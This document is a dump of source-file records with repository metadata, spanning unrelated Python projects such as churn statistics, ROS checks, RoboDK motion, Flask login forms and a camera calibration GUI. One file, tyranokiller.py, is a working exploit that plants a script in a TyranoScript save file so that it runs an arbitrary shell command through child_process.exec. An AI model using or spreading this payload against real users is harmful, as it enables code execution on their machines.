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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
af8999488b4c74fa92580fccfbc64a7e842f0087 | 260 | py | Python | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | null | null | null | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | null | null | null | stix_shifter/stix_transmission/src/modules/cloudIdentity/cloudIdentity_results_connector.py | cookna/stix-shifter | 3152f24cf7acb7670454433525ec10030102e146 | [
"Apache-2.0"
] | 2 | 2019-06-26T19:23:52.000Z | 2019-07-09T15:33:16.000Z | from ..base.base_results_connector import BaseResultsConnector
import json
from .....utils.error_response import ErrorResponder
| 28.888889 | 62 | 0.807692 |
af8a181071e7abdcc867b84eb6bf5ea64085f25a | 717 | py | Python | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | churnalyze/py/churn_stats.py | Rdeandres/fight-churn | 88fbff9b00f5ec4a9622073db15ab8809dfb21b3 | [
"MIT"
] | null | null | null | import sys
from churn_calc import ChurnCalculator
def main():
'''
Creates churn calculator and runs the statistics and correlation functions.
The schema name is taken from the first command line argument.
The dataset and all other parameters are then taken from the schema configuration.
:return: None
'''
schema = 'churnsim2'
if len(sys.argv) >= 2:
schema = sys.argv[1]
dataset = None
if len(sys.argv) >= 3:
dataset = sys.argv[2]
churn_calc = ChurnCalculator(schema,dataset)
churn_calc.dataset_stats(save=True)
churn_calc.dataset_corr(save=True)
churn_calc.dataset_corr(save=True,use_scores=False)
if __name__ == "__main__":
main()
| 23.9 | 86 | 0.687587 |
af8b4f7cdd96f1e05ccc0b6456d5fe449a767019 | 2,888 | py | Python | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 25 | 2020-11-20T09:01:35.000Z | 2022-03-29T10:35:38.000Z | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 5 | 2021-02-28T20:49:37.000Z | 2022-03-04T21:50:27.000Z | python/contrib/head_pose_picture/src/yolov3/yolov3.py | coldenheart/123 | 798768bba7dfaef051a46d8e1df48bc671de5213 | [
"Apache-2.0"
] | 16 | 2020-12-06T07:26:13.000Z | 2022-03-01T07:51:55.000Z | """Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License."""
import yolov3.yolov3_postprocessing as postprocessing
import numpy as np
import cv2
import os
| 39.027027 | 100 | 0.630194 |
af8b6e0be67a25ec631893c23bc76d3128fe5bc9 | 901 | py | Python | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 8 | 2021-05-20T02:24:07.000Z | 2022-03-05T17:15:11.000Z | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 10 | 2019-06-13T09:36:15.000Z | 2022-01-17T16:55:05.000Z | rigid_body_motion/ros/check_install.py | phausamann/rigid-body-motion | 2d4fbb1b949cc0b609a59877d7539af75dad6861 | [
"MIT"
] | 1 | 2021-08-13T10:24:31.000Z | 2021-08-13T10:24:31.000Z | import traceback
if __name__ == "__main__":
try:
import geometry_msgs.msg # noqa
import rospy # noqa
import std_msgs.msg # noqa
import visualization_msgs.msg # noqa
try:
import rospkg # noqa
import tf2_geometry_msgs # noqa
import tf2_ros # noqa
from tf.msg import tfMessage # noqa
except rospkg.ResourceNotFound:
raise ImportError(
"The rospkg module was found but tf2_ros failed to import, "
"make sure you've set up the necessary environment variables"
)
except ImportError:
print(
f"Some dependencies are not correctly installed. "
f"See the traceback below for more info.\n\n"
f"{traceback.format_exc()}"
)
else:
print("All dependencies correctly installed!")
| 29.064516 | 77 | 0.577137 |
af8d86b547c3138c87e5922ed826526a715c832e | 3,466 | py | Python | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 155 | 2016-11-23T12:52:16.000Z | 2022-03-31T15:35:44.000Z | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 590 | 2016-12-10T11:31:18.000Z | 2022-03-30T23:10:09.000Z | rstbx/simulation/sim_pdf.py | dperl-sol/cctbx_project | b9e390221a2bc4fd00b9122e97c3b79c632c6664 | [
"BSD-3-Clause-LBNL"
] | 115 | 2016-11-15T08:17:28.000Z | 2022-02-09T15:30:14.000Z | from __future__ import absolute_import, division, print_function
from six.moves import range
from scitbx.array_family import flex
page_origin = (20.,220.)
boxedge = 500.
from reportlab.pdfgen.canvas import Canvas
from reportlab.lib.pagesizes import letter
from reportlab.lib.units import cm,mm
if __name__=="__main__":
data_array = flex.double(flex.grid((768,768)),1.0)
print(data_array.focus())
data_array = flex.double(flex.grid((7,7)),255)
for x in range(7):
data_array[(3,x)] = 0.
data_array[(x,3)] = 0.
try:
import PIL.Image as Image
except ImportError:
import Image
import numpy
args = ("L",0,1)
imageout = Image.frombuffer("L",data_array.focus(),
data_array.as_float().as_numpy_array().astype(numpy.uint8).tostring(),
"raw","L",0,1)
imageout.save("newfile.png","PNG")
| 31.798165 | 89 | 0.671091 |
af8eb22a7a8fbb0ab152b78c299a3fc57959c738 | 163 | py | Python | 79.py | tarunbodapati/sum.c | c343d6ac530b7f433093138ac52474df4c9c4441 | [
"MIT"
] | null | null | null | 79.py | tarunbodapati/sum.c | c343d6ac530b7f433093138ac52474df4c9c4441 | [
"MIT"
] | null | null | null | 79.py | tarunbodapati/sum.c | c343d6ac530b7f433093138ac52474df4c9c4441 | [
"MIT"
] | null | null | null | x,y=map(int,input().split(" "))
count=0
for i in range(0,1000):
if(x*y==i*i):
count+=1
if(count==1):
print("yes")
else:
print("no")
| 14.818182 | 31 | 0.484663 |
af92ace02dba087d489cb1e5f3f4aa495505fa6e | 654 | py | Python | examples/basic_elasticache_password_protected.py | rtkefreure/redis-py-cluster | f0627c91ce23e8784dbc996078428c9bdbacb20b | [
"MIT"
] | 1,075 | 2015-01-01T17:46:25.000Z | 2022-03-31T17:55:18.000Z | examples/basic_elasticache_password_protected.py | rtkefreure/redis-py-cluster | f0627c91ce23e8784dbc996078428c9bdbacb20b | [
"MIT"
] | 397 | 2015-01-04T08:39:03.000Z | 2022-03-22T01:59:18.000Z | examples/basic_elasticache_password_protected.py | rtkefreure/redis-py-cluster | f0627c91ce23e8784dbc996078428c9bdbacb20b | [
"MIT"
] | 373 | 2015-01-13T08:44:40.000Z | 2022-03-29T02:18:20.000Z | from rediscluster import RedisCluster
rc = RedisCluster(
host='clustercfg.cfg-endpoint-name.aq25ta.euw1.cache.amazonaws.com',
port=6379,
password='password_is_protected',
skip_full_coverage_check=True, # Bypass Redis CONFIG call to elasticache
decode_responses=True, # decode_responses must be set to True when used with python3
ssl=True, # in-transit encryption, https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/in-transit-encryption.html
ssl_cert_reqs=None # see https://github.com/andymccurdy/redis-py#ssl-connections
)
rc.set("foo", "bar")
print(rc.get("foo"))
| 40.875 | 148 | 0.704893 |
af950ed2adf47bfd5bbac8fc2d72461c9405f310 | 1,809 | py | Python | lemonspotter/samplers/declare.py | martinruefenacht/lemonspotter | 4e24759aded6536bbb3cdcc311e5eaf72d52c4e3 | [
"MIT"
] | null | null | null | lemonspotter/samplers/declare.py | martinruefenacht/lemonspotter | 4e24759aded6536bbb3cdcc311e5eaf72d52c4e3 | [
"MIT"
] | 20 | 2019-11-14T16:35:42.000Z | 2021-05-17T14:55:44.000Z | lemonspotter/samplers/declare.py | martinruefenacht/lemonspotter | 4e24759aded6536bbb3cdcc311e5eaf72d52c4e3 | [
"MIT"
] | null | null | null | """
This module contains the definition of the DefaultSampler.
"""
import logging
from typing import Iterable
from lemonspotter.core.parameter import Direction
from lemonspotter.core.sampler import Sampler
from lemonspotter.core.variable import Variable
from lemonspotter.core.function import Function
from lemonspotter.core.sample import FunctionSample
| 33.5 | 91 | 0.66335 |
af9558754aad314aeb8db737a2091bb0a63f662a | 480 | py | Python | source/python/LSWRC.py | JoHyukJun/algorithm-analysis | 3eda22ce0eeb52490702206d73c04cff1eb3e72d | [
"Apache-2.0"
] | null | null | null | source/python/LSWRC.py | JoHyukJun/algorithm-analysis | 3eda22ce0eeb52490702206d73c04cff1eb3e72d | [
"Apache-2.0"
] | null | null | null | source/python/LSWRC.py | JoHyukJun/algorithm-analysis | 3eda22ce0eeb52490702206d73c04cff1eb3e72d | [
"Apache-2.0"
] | null | null | null | '''
main.py
Created by JO HYUK JUN on 2021
Copyright 2021 JO HYUK JUN. All rights reserved.
''' | 21.818182 | 58 | 0.525 |
af95fa980c5195e3c75aff212645fcf4a36ea392 | 2,532 | py | Python | tyranokiller.py | satoki/tyranokiller | 9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d | [
"MIT"
] | 5 | 2021-12-23T11:23:40.000Z | 2022-01-01T22:48:18.000Z | tyranokiller.py | satoki/tyranoscript_vulnerability | 9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d | [
"MIT"
] | null | null | null | tyranokiller.py | satoki/tyranoscript_vulnerability | 9a4d707ca9f0d2469e9cbd0b57f474b2c96c2d9d | [
"MIT"
] | null | null | null | # Exploit Title: TyranoScript 5.13b - Arbitrary Code Execution
# Date: 27/03/2022
# Exploit Author: Satoki
# Vendor Homepage: https://tyrano.jp/
# Software Link: https://github.com/ShikemokuMK/tyranoscript
#
# Version (Save Data ACE):
# TyranoScriptV5 <= 5.04b
# TyranoScript <= 4.83
#
# Version (Development Data ACE):
# TyranoBuilder <= 1.87b
# TyranoBuilderV5 <= 2.03
# TyranoRider <= 2.20
# TyranoStudio <= 1.10d
# (TyranoScriptV5 <= 5.13b)
# (TyranoScript <= 4.88)
#
# Tested on: Windows
# CVE : 0day
#
# GitHub: https://github.com/satoki/tyranoscript_vulnerability
# Usage: python3 tyranokiller.py -c "calc" Test.sav
import os
import sys
import shutil
from argparse import ArgumentParser
argparser = ArgumentParser()
argparser.add_argument("filename", type=str, help="Specify the target sav file name")
argparser.add_argument("-c", "--command", type=str, default="calc", help="Specify the command to be injected")
args = argparser.parse_args()
filename = args.filename
command = args.command
print(f"\033[91m\
-------------------------------------------------------------\n\
| _____ _ _ _ |\n\
| /__ \_ _ _ __ __ _ _ __ ___ /\ /(_) | | ___ _ __ |\n\
| / /\/ | | | '__/ _` | '_ \ / _ \ / //_/ | | |/ _ \ '__| |\n\
| / / | |_| | | | (_| | | | | (_) / __ \| | | | __/ | |\n\
| \/ \__, |_| \__,_|_| |_|\___/\/ \/|_|_|_|\___|_| |\n\
| |___/ |\n\
| v1.1.0|\n\
-------------------------------------------------------------\n\
CVE-XXXX-XXXX\033[0m\n\
Target: {filename}\n\
Command: {command}\n\
------------------------------------------------------------")
if not os.path.isfile(filename):
print("Error: sav file doesn't exist.")
sys.exit(1)
if "\"" in command:
print("Error: Double quotes can't be used in the command.")
sys.exit(1)
shutil.copyfile(filename, f"{filename}.bk")
savfile = open(f"{filename}.bk", mode="r")
data = savfile.read()
savfile.close()
command = command.replace("\\", "\\\\")
code = f"\
alert('Injected_by_TyranoKiller_!!!!');\
require('child_process').exec(`{command}`);\
"
data = data.replace("%3C/div%3E", f"%3C/div%3E%3Cscript%3E{code}%3C/script%3E", 1)
code = code.replace(";", ";\n")
print(f"Code:\n\033[96m{code}\033[0m\
------------------------------------------------------------")
savfile = open(filename, mode="w")
savfile.write(data)
savfile.close()
print("Completed.")
| 30.506024 | 110 | 0.527646 |
af97ce7ed6690110d340cf7da5e8b723433180ff | 526 | py | Python | forms.py | MarioAer/BubblesData | 849cc6428b5e8d64f5517f94a714e3f737bfc75d | [
"MIT"
] | null | null | null | forms.py | MarioAer/BubblesData | 849cc6428b5e8d64f5517f94a714e3f737bfc75d | [
"MIT"
] | null | null | null | forms.py | MarioAer/BubblesData | 849cc6428b5e8d64f5517f94a714e3f737bfc75d | [
"MIT"
] | null | null | null | # -*- coding: UTF-8 -*-
"""(forms.py) Flask-Login Example: Login Form"""
from flask_wtf import Form # import from flask_wtf, NOT wtforms
from wtforms import StringField, PasswordField
from wtforms.validators import InputRequired, Length
# Define the LoginRorm class by sub-classing Form
| 40.461538 | 83 | 0.741445 |
af9c8aaccf0095264c9bcfb36a5958fdb4382d26 | 1,322 | py | Python | core/loader.py | 1x-eng/ext-a-cy | d6efbabca89243c9c41ce4c130e9f963b2b42229 | [
"MIT"
] | null | null | null | core/loader.py | 1x-eng/ext-a-cy | d6efbabca89243c9c41ce4c130e9f963b2b42229 | [
"MIT"
] | null | null | null | core/loader.py | 1x-eng/ext-a-cy | d6efbabca89243c9c41ce4c130e9f963b2b42229 | [
"MIT"
] | null | null | null | from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
__author__='Pruthvi Kumar'
# 30 June 2019.
# pruthvikumar.123@gmail.com
# Load web-page associated with given URL and await given dom element until specified time.
| 33.897436 | 114 | 0.67171 |
af9cba96e04a6dafd8fe9ffe1a97e239f33fd7e2 | 188 | py | Python | improutils/__init__.py | ImprolabFIT/improutils | 84666f88db594dd5d24cf946c635df37643ed309 | [
"MIT"
] | null | null | null | improutils/__init__.py | ImprolabFIT/improutils | 84666f88db594dd5d24cf946c635df37643ed309 | [
"MIT"
] | null | null | null | improutils/__init__.py | ImprolabFIT/improutils | 84666f88db594dd5d24cf946c635df37643ed309 | [
"MIT"
] | null | null | null | from .other import *
from .acquisition import *
from .filtration import *
from .preprocessing import *
from .recognition import *
from .segmentation import *
from .visualisation import *
| 20.888889 | 28 | 0.771277 |
af9cf05604e40321edbad3928cd57491f9b1fcff | 1,598 | py | Python | Classicist Express/api/urls.py | RisalatShahriar/ccNews | d7b73bff86ac938d47be4f97d04a81af9ed00faf | [
"Apache-2.0"
] | null | null | null | Classicist Express/api/urls.py | RisalatShahriar/ccNews | d7b73bff86ac938d47be4f97d04a81af9ed00faf | [
"Apache-2.0"
] | null | null | null | Classicist Express/api/urls.py | RisalatShahriar/ccNews | d7b73bff86ac938d47be4f97d04a81af9ed00faf | [
"Apache-2.0"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('bd', views.bdaffair, name="bd_api"),
path('home', views.home_data, name='home_api'),
path('cultural', views.cultural_insights, name='cultural_api'),
path('sports', views.sports_insights, name='sports_api'),
path('international', views.internatioal, name='achievements_api'),
path('interview', views.interviews, name='interview_api'),
path('cc', views.cc, name='cc_api'),
path('youth', views.youth, name='youth_api'),
path('district', views.district_insights, name='district_api'),
path('comics', views.comics, name='comics_api'),
path('trending', views.trending, name='trending_api'),
path('diversed', views.diversed, name='diversed_api'),
path('bd/top', views.bdaffair_top, name="top_bd_api"),
path('home/top', views.home_data_top, name='top_home_api'),
path('cultural/top', views.cultural_insights_top, name='top_cultural_api'),
path('sports/top', views.sports_insights_top, name='top_sports_api'),
path('international/top', views.internatioal_top, name='top_achievements_api'),
path('interview/top', views.interviews_top, name='top_interview_api'),
path('cc/top', views.cc_top, name='top_cc_api'),
path('youth/top', views.youth_top, name='top_youth_api'),
path('district/top', views.district_insights_top, name='top_district_api'),
path('comics/top', views.comics_top, name='top_comics_api'),
path('trending/top', views.trending_top, name='top_trending_api'),
path('diversed/top', views.diversed_top, name='top_diversed_api')
] | 55.103448 | 83 | 0.71214 |
af9ec8c3e054bbb041579522842ad9b2da17d23a | 11,544 | py | Python | farmer/ncc/metrics/segmentation_metrics.py | aiorhiroki/farmer.tf2 | 5d78f4b47b753ab2d595829c17fef7c6061235b5 | [
"Apache-2.0"
] | null | null | null | farmer/ncc/metrics/segmentation_metrics.py | aiorhiroki/farmer.tf2 | 5d78f4b47b753ab2d595829c17fef7c6061235b5 | [
"Apache-2.0"
] | 7 | 2021-11-12T05:58:48.000Z | 2022-02-25T07:05:26.000Z | farmer/ncc/metrics/segmentation_metrics.py | aiorhiroki/farmer.tf2 | 5d78f4b47b753ab2d595829c17fef7c6061235b5 | [
"Apache-2.0"
] | null | null | null | import numpy as np
from pathlib import Path
import itertools
from tqdm import tqdm
from ..utils import get_imageset
import matplotlib.pyplot as plt
import cv2
import json
from ..metrics.surface_dice import metrics as surface_distance
from ..metrics.functional import calc_isolated_fp
def detection_rate_confusions(pred_labels, gt_labels, nb_classes):
"""
gt_labels: iterable container (Width, Height)
prediction_labels: iterable container (Width, Height)
nb_classes: number of classes
"""
confusion_tabel = np.zeros((nb_classes, 4), dtype=np.uint8)
for gt_label, pred_label in zip(gt_labels, pred_labels):
for class_id in range(nb_classes):
gt_mask = gt_label == class_id
pred_mask = pred_label == class_id
if np.sum(gt_mask) == 0 and np.sum(pred_mask) == 0:
confusion_tabel[class_id, 0] += 1
elif np.sum(gt_mask) == 0 and np.sum(pred_mask) > 0:
confusion_tabel[class_id, 1] += 1
elif np.sum(gt_mask * pred_mask) == 0:
confusion_tabel[class_id, 2] += 1
else:
confusion_tabel[class_id, 3] += 1
return confusion_tabel
def plot_confusion_matrix(cm, classes,
normalize=False,
title='Confusion matrix',
cmap=plt.cm.Blues,
save_file=None):
"""
This function prints and plots the confusion matrix.
Normalization can be applied by setting `normalize=True`.
"""
if normalize:
cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]
print("Normalized confusion matrix")
else:
print('Confusion matrix, without normalization')
print(cm)
plt.figure()
plt.imshow(cm, interpolation='nearest', cmap=cmap)
plt.title(title)
plt.colorbar()
tick_marks = np.arange(len(classes))
plt.xticks(tick_marks, classes, rotation=45)
plt.yticks(tick_marks, classes)
fmt = '.2f' if normalize else 'd'
thresh = cm.max() / 2.
for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):
plt.text(j, i, format(cm[i, j], fmt),
horizontalalignment="center",
color="white" if cm[i, j] > thresh else "black")
plt.ylabel('True label')
plt.xlabel('Predicted label')
plt.tight_layout()
plt.savefig('{}.png'.format(save_file))
def calc_surface_dice(pred_out, gt_label, nb_classes, vertical=1.0, horizontal=1.0, tolerance=0.0):
"""
surface dice calculation
Args:
pred_out (np.array, shape (h,w,nb_classes)): prediction output.
gt_mask (np.array, shape (h,w)): ground truth mask.
nb_classes (int): the number of classes
vertical (float, optional): real length (mm) of pixel in the vertical direction. Defaults to 1.0.
horizontal (float, optional): real length (mm) of pixel in the horizontal direction. Defaults to 1.0.
tolerance (float, optional): acceptable tolerance (mm) of boundary. Defaults to 0.0.
Returns:
surface_dice (float):
"""
class_surface_dice = list()
# convert array (value: class_id)
pred_label = np.uint8(np.argmax(pred_out, axis=2))
gt_label = np.uint8(np.argmax(gt_label, axis=2))
for class_id in range(nb_classes):
gt_mask = gt_label == class_id
pred_mask = pred_label == class_id
# convert bool np.array mask
gt_mask = np.asarray(gt_mask, dtype=np.bool)
pred_mask = np.asarray(pred_mask, dtype=np.bool)
surface_distances = surface_distance.compute_surface_distances(
gt_mask,
pred_mask,
spacing_mm=(vertical, horizontal))
surface_dice = surface_distance.compute_surface_dice_at_tolerance(surface_distances, tolerance_mm=tolerance)
class_surface_dice.append(surface_dice)
return class_surface_dice
def calc_weighted_dice(confusion, isolated_fp, nb_classes, isolated_fp_weights=15.0):
"""
weighted dice calculation
Args:
confusion (np.array): confusion matrix.
isolated_fp (np.array): isolated fp for each class.
isolated_fp_weight (dict or float): isolated fp weights for each class. Defaults to 15.0.
Returns:
weighted_dice (np.array)
"""
if isinstance(isolated_fp_weights, float):
isolated_fp_weights = {i: isolated_fp_weights for i in range(nb_classes)}
assert isinstance(isolated_fp_weights, dict)
sorted_weights = sorted(isolated_fp_weights.items(), key=lambda x: x[0])
isolated_fp_weights = np.asarray([v for _, v in sorted_weights])
tp = np.diag(confusion)
connected_fp = np.sum(confusion, 0) - tp - isolated_fp
fn = np.sum(confusion, 1) - tp
class_w_dice = 2 * tp / (2 * tp + fn + connected_fp + isolated_fp_weights * isolated_fp)
return class_w_dice
| 34.981818 | 116 | 0.628638 |
af9f58fe0e660b08a353e17203614fe5d6b9e0d5 | 46 | py | Python | chatbot/__init__.py | rdorado79/chatbotlib | bfe44593fe218d13a8c55f80f0c13db67605a5b2 | [
"MIT"
] | null | null | null | chatbot/__init__.py | rdorado79/chatbotlib | bfe44593fe218d13a8c55f80f0c13db67605a5b2 | [
"MIT"
] | null | null | null | chatbot/__init__.py | rdorado79/chatbotlib | bfe44593fe218d13a8c55f80f0c13db67605a5b2 | [
"MIT"
] | null | null | null | # Example package with a console entry point
| 15.333333 | 44 | 0.782609 |
afa04ed205e39049b31fa8fd4108f5232fadca75 | 1,774 | py | Python | mrbaviirc/template/actions/action_var.py | brianvanderburg2/python-mrbaviirc-template | 6da213b30580d66fe7231c40bb7bbebb026a0789 | [
"Apache-2.0"
] | null | null | null | mrbaviirc/template/actions/action_var.py | brianvanderburg2/python-mrbaviirc-template | 6da213b30580d66fe7231c40bb7bbebb026a0789 | [
"Apache-2.0"
] | null | null | null | mrbaviirc/template/actions/action_var.py | brianvanderburg2/python-mrbaviirc-template | 6da213b30580d66fe7231c40bb7bbebb026a0789 | [
"Apache-2.0"
] | null | null | null | """ Handler for the var action tag. """
# pylint: disable=too-few-public-methods,too-many-arguments,protected-access,unused-argument
__author__ = "Brian Allen Vanderburg II"
__copyright__ = "Copyright 2016-2019"
__license__ = "Apache License 2.0"
from . import ActionHandler, DefaultActionHandler
from ..nodes import Node, NodeList
from ..renderers import StringRenderer
ACTION_HANDLERS = {"var": VarActionHandler}
| 28.612903 | 92 | 0.653326 |
afa0c7a4dbfb00577736a7f5962a39c917e15a9e | 1,623 | py | Python | tests/test_exp_worker_cred.py | RogerEMO/srd | 40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5 | [
"MIT"
] | 1 | 2021-11-22T18:15:09.000Z | 2021-11-22T18:15:09.000Z | tests/test_exp_worker_cred.py | RogerEMO/srd | 40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5 | [
"MIT"
] | 3 | 2021-05-10T18:46:16.000Z | 2021-06-01T16:51:48.000Z | tests/test_exp_worker_cred.py | RogerEMO/srd | 40eb8bb02cfd3b1f60ed9eb3e361877fea744cb5 | [
"MIT"
] | 1 | 2021-05-05T17:20:06.000Z | 2021-05-05T17:20:06.000Z | import pytest
from math import isclose
import sys
sys.path.append('/Users/pyann/Dropbox (CEDIA)/srd/Model')
import srd
from srd import quebec
# I use https://cffp.recherche.usherbrooke.ca/outils-ressources/guide-mesures-fiscales/credit-impot-prolongation-carriere/
# since they don't seem to adjust for taxable income (lines 37 and 38, grille de calcul),
# we add some non-work income to avoid a reduction
| 36.066667 | 123 | 0.637708 |
afa13b4e4fc345a627c690ebb66190bf2e512666 | 1,382 | py | Python | Prog1.py | tudoriliuta/UR3RL | 9a98d530318f5931ddc195d8ffa7ebc406cd6419 | [
"MIT"
] | 1 | 2019-05-23T14:26:21.000Z | 2019-05-23T14:26:21.000Z | Prog1.py | tudoriliuta/UR3RL | 9a98d530318f5931ddc195d8ffa7ebc406cd6419 | [
"MIT"
] | null | null | null | Prog1.py | tudoriliuta/UR3RL | 9a98d530318f5931ddc195d8ffa7ebc406cd6419 | [
"MIT"
] | null | null | null | # Type help("robolink") or help("robodk") for more information
# Press F5 to run the script
# Documentation: https://robodk.com/doc/en/RoboDK-API.html
# Reference: https://robodk.com/doc/en/PythonAPI/index.html
# Note: It is not required to keep a copy of this file, your python script is saved with the station
from robolink import * # RoboDK's API
from robodk import * # Math toolbox for robots
# Start the RoboDK API:
RDK = Robolink()
# Get the robot item by name:
robot = RDK.Item('UR3', ITEM_TYPE_ROBOT)
# Get the reference target by name:
R = 100
for i in range(2):
target = RDK.Item('Target %s' % (i+1))
target_pose = target.Pose()
xyz_ref = target_pose.Pos()
# Move the robot to the reference point:
robot.MoveJ(target)
# Draw a hexagon around the reference target:
for i in range(7):
ang = i * 2 * pi / 6 # ang = 0, 60, 120, ..., 360
# Calculate the new position around the reference:
x = xyz_ref[0] + R * cos(ang) # new X coordinate
y = xyz_ref[1] + R * sin(ang) # new Y coordinate
z = xyz_ref[2] # new Z coordinate
target_pose.setPos([x,y,z])
# Move to the new target:
robot.MoveL(target_pose)
# Trigger a program call at the end of the movement
# robot.RunCode('Program_Done')
# Move back to the reference target:
robot.MoveL(target)
| 32.139535 | 100 | 0.644718 |
afa16d72320b51ad48b9e7a6f4900aaa906c676a | 101 | py | Python | main.py | JesperKauppinen/dont-touch-the-spikes-clone | c5b0961fe8bbc0706191649bbae2d1784dd72e1d | [
"MIT"
] | null | null | null | main.py | JesperKauppinen/dont-touch-the-spikes-clone | c5b0961fe8bbc0706191649bbae2d1784dd72e1d | [
"MIT"
] | null | null | null | main.py | JesperKauppinen/dont-touch-the-spikes-clone | c5b0961fe8bbc0706191649bbae2d1784dd72e1d | [
"MIT"
] | null | null | null | from game import Game
g = Game()
while g.running:
g.curr_menu.display_menu()
g.game_loop()
| 12.625 | 30 | 0.673267 |
afa29bf04f32cf1f5c5165ddb76b18a6eec1cbfc | 1,474 | py | Python | ccdc/pixel.py | USGS-EROS/lcmap-gen | 1be50eb316f7d737d6bbd000bd6a8b5006730928 | [
"Unlicense"
] | 6 | 2018-07-09T00:33:52.000Z | 2019-11-14T16:36:39.000Z | ccdc/pixel.py | USGS-EROS/lcmap-gen | 1be50eb316f7d737d6bbd000bd6a8b5006730928 | [
"Unlicense"
] | 1 | 2017-04-26T17:22:34.000Z | 2017-04-26T17:38:59.000Z | ccdc/pixel.py | USGS-EROS/lcmap-gen | 1be50eb316f7d737d6bbd000bd6a8b5006730928 | [
"Unlicense"
] | 2 | 2018-06-11T17:59:03.000Z | 2018-07-09T00:33:54.000Z | from ccdc import cassandra
from pyspark.sql.types import ArrayType
from pyspark.sql.types import ByteType
from pyspark.sql.types import IntegerType
from pyspark.sql.types import StructField
from pyspark.sql.types import StructType
def table():
"""Cassandra table name"""
return 'pixel'
def schema():
"""Schema for pixel dataframe"""
return StructType([
StructField('cx' , IntegerType(), nullable=False),
StructField('cy' , IntegerType(), nullable=False),
StructField('px' , IntegerType(), nullable=False),
StructField('py' , IntegerType(), nullable=False),
StructField('mask' , ArrayType(ByteType()), nullable=True)])\
def dataframe(ctx, ccd):
"""Create pixel dataframe from ccd dataframe
Args:
ctx: spark context
ccd: CCD dataframe
Returns:
dataframe conforming to pixel.py
"""
return ccd.select(schema().fieldNames())
def read(ctx, ids):
"""Read pixels
ctx: spark context
ids: dataframe of (cx, cy)
Returns:
dataframe conforming to pixel.schema()
"""
return ids.join(cassandra.read(ctx, table()),
on=['cx', 'cy'],
how='inner')
def write(ctx, df):
"""Write pixels
Args:
ctx: spark context
df : dataframe conforming to pixel.schema()
Returns:
df
"""
cassandra.write(ctx, df, table())
return df
| 22.333333 | 70 | 0.603121 |
afa4b7d2595f4e0c541626173ba9e42640a0a707 | 6,471 | py | Python | ekmap_core/qgslabel_parser/label_parser.py | eKMap/ekmap-publisher-for-qgis | cb9dac6c29be3617c2155c1e38d9d1dffbdbad96 | [
"MIT"
] | 4 | 2020-11-11T07:07:55.000Z | 2022-02-22T02:39:01.000Z | ekmap_core/qgslabel_parser/label_parser.py | eKMap/ekmap-publisher-for-qgis | cb9dac6c29be3617c2155c1e38d9d1dffbdbad96 | [
"MIT"
] | 2 | 2021-03-17T17:46:56.000Z | 2021-03-18T08:19:04.000Z | ekmap_core/qgslabel_parser/label_parser.py | eKMap/ekmap-publisher-for-qgis | cb9dac6c29be3617c2155c1e38d9d1dffbdbad96 | [
"MIT"
] | 1 | 2021-10-31T21:00:55.000Z | 2021-10-31T21:00:55.000Z | from PyQt5.QtWidgets import QMainWindow
from ..ekmap_converter import eKConverter
import re
from qgis.core import QgsMessageLog
| 36.767045 | 111 | 0.591871 |
afa690096a6121167933e215558dabc81606d2f3 | 8,069 | py | Python | main.py | lyffly/CameraCalibration | aacdcc9ea711154060f078f0564f8143077cac88 | [
"BSD-3-Clause"
] | null | null | null | main.py | lyffly/CameraCalibration | aacdcc9ea711154060f078f0564f8143077cac88 | [
"BSD-3-Clause"
] | null | null | null | main.py | lyffly/CameraCalibration | aacdcc9ea711154060f078f0564f8143077cac88 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# coding by liuyunfei
# 2020-4-12
import sys
from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox
from PyQt5.QtCore import QThread, pyqtSignal, QDateTime, QObject, QMutexLocker, QMutex, QTimer
from PyQt5.QtGui import QPixmap
from PyQt5 import Qt, QtCore
from PyQt5.QtCore import QByteArray
from PyQt5.QtGui import QPixmap, QImage
import os
import cv2
import time
import glob
import numpy as np
from copy import deepcopy
from ui.ui import *
image_mutex = QMutex()
image = None
org_img = None
